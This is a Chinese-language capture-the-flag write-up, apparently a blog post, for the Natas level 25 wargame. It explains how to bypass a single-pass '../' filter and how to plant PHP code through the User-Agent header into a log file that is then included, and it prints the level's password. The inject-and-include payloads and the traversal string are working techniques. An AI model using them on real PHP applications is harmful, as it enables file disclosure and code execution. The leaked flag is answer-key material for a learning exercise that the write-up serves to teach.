• Natas25 Writeup(目录遍历、头部注入)


    Natas25:

    打开页面,是一段引文以及可以选择语言的下拉list。查看源码,发现关键代码:

    function setLanguage(){          //选择语言
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))  //如果请求提交的参数中存在lang
            if(safeinclude("language/" . $_REQUEST["lang"] )) //检查输入
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){  //检查输入参数
        // check for directory traversal    检查目录遍历
    	//strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
    	//str_replace($search,$replace,$subject):将$subject中的$search 都被$replace替换
    	//下面代码的意思是,如果filename中含有"../",表明受到了目录遍历攻击,则将filename中的"../"替换为"",以防止目录遍历
        if(strstr($filename,"../")){  
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
    	
        // dont let ppl steal our passwords   文件访问控制
    	//下面代码的意思是,如果filename中含有"natas_webpass",表明用户试图访问非法文件,则退出程序
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...
    
        if (file_exists($filename)) {  //检测目录是否存在
            include($filename);
            return 1;
        }
        return 0;
    }
      
    function logRequest($message){                 		//请求日志
        $log="[". date("d.m.Y H::i:s",time()) ."]";		//时间日期
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];	//加http_user_agent
        $log=$log . " "" . $message .""
    "; 			//加上message
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);								//将日志信息写入文件
        fclose($fd);
    }
    

    首先要将注入点分析清楚:一共有三个注入点

    1.$_REQUEST["lang"]              即get/post注入
    2.$_SERVER['HTTP_USER_AGENT']    http头部信息注入
    3.session_id()                   cookie注入

    23条注入存在于logRequest函数中,能够发生的前提是safeinclude函数检测到了非法输入,而且必须是“../”这种非法输入,若是“natas_webpass”这种的话会直接exit(-1)。

    这里第一条过滤非法输入语句(将"../"替换为"",以防止目录遍历)存在漏洞,因为if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:....//或者..././。这里可以绕过的根本原因就在于没有使用while语句,没有想到过滤一次后依然存在../,所以过滤应该持续检测直到非法字符不再出现。

    第1条直接注入比较困难,原因在于即使用..././绕过了第一条检测,第二条检测也很难直接将"natas_webpass"目录下的密码给include进来,所以应该思考利用第2或3条注入,2或3两个注入必须触发“../”检测,随后logRequest($message)将信息写入/var/www/natas/natas25/logs/natas25_session_id().log。

    很容易得到新思路,将能够显示密码的php语句写入到session_id().log之中,随后在safeinclude中将其include进来,可以考虑$_SERVER['HTTP_USER_AGENT'] 注入,在header中写入php语句(以下任选一句):

    <?php include("/etc/natas_webpass/natas26")?> 
    <?php echo file_get_contents("/etc/natas_webpass/natas26")?> 
    <?php passthru("cat /etc/natas_webpass/natas26")?>
    <?php readfile("/etc/natas_webpass/natas26")?>
    

    这样做以后,只要触发第一条过滤机制,密码就会在.log被include进来时显示,考虑如何既触发../又能够将.log包含进来:GET: lang=..././..././..././..././..././var/www/natas/natas25/logs/natas25_session_id().log即可

    流程:GET输入触发第一次过滤,开始记录日志,headers中http-agent的php执行语句被记录到/var/www/natas/natas25/logs/natas25_session_id().log。同时输入被过滤为../../../../../var/www/natas/natas25/logs/natas25_session_id().log。file_exists()检测正确,将其include进来,触发php语句,显示flag。

    有两个地方需要注入,即get/post 和 headers。

    flag:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

    总结:

    1.过滤机制一定要达到在任何情况下确定不包含非法字符(考虑周全)。
    2.对用户的输入(不一定是真的“输入”,只要是用户传过来的信息)都要做防注入或过滤处理。
    3.做题的思路很重要,一是要注意过滤机制是否不够严格,而是碰壁后应该全局思考所有的注入点,只要是自己能篡改的信息都要思考能否注入,而且可能是多个注入点联合使用。

    参考:

    https://www.cnblogs.com/ichunqiu/p/9554885.html
    https://www.cnblogs.com/liqiuhao/p/6883356.html

  • 相关阅读:
    【repost】Javascript操作DOM常用API总结
    【repost】JavaScript运动框架之速度时间版本
    【repost】对JAVASCRIPT匿名函数的理解(透彻版)
    【repost】 原生JS执行环境与作用域深入理解
    【repost】如何学好编程 (精挑细选编程教程,帮助现在在校学生学好编程,让你门找到编程的方向)四个方法总有一个学好编程的方法适合你
    【repost】Chrome 控制台console的用法
    【repost】一探前端开发中的JS调试技巧
    【repost】JS中的异常处理方法分享
    BI_DBA_安装(4):安装DAC及配置客户端
    BI_DBA_安装(3):安装informatic
  • 原文地址:https://www.cnblogs.com/zhengna/p/12342354.html
Copyright © 2020-2023  润新知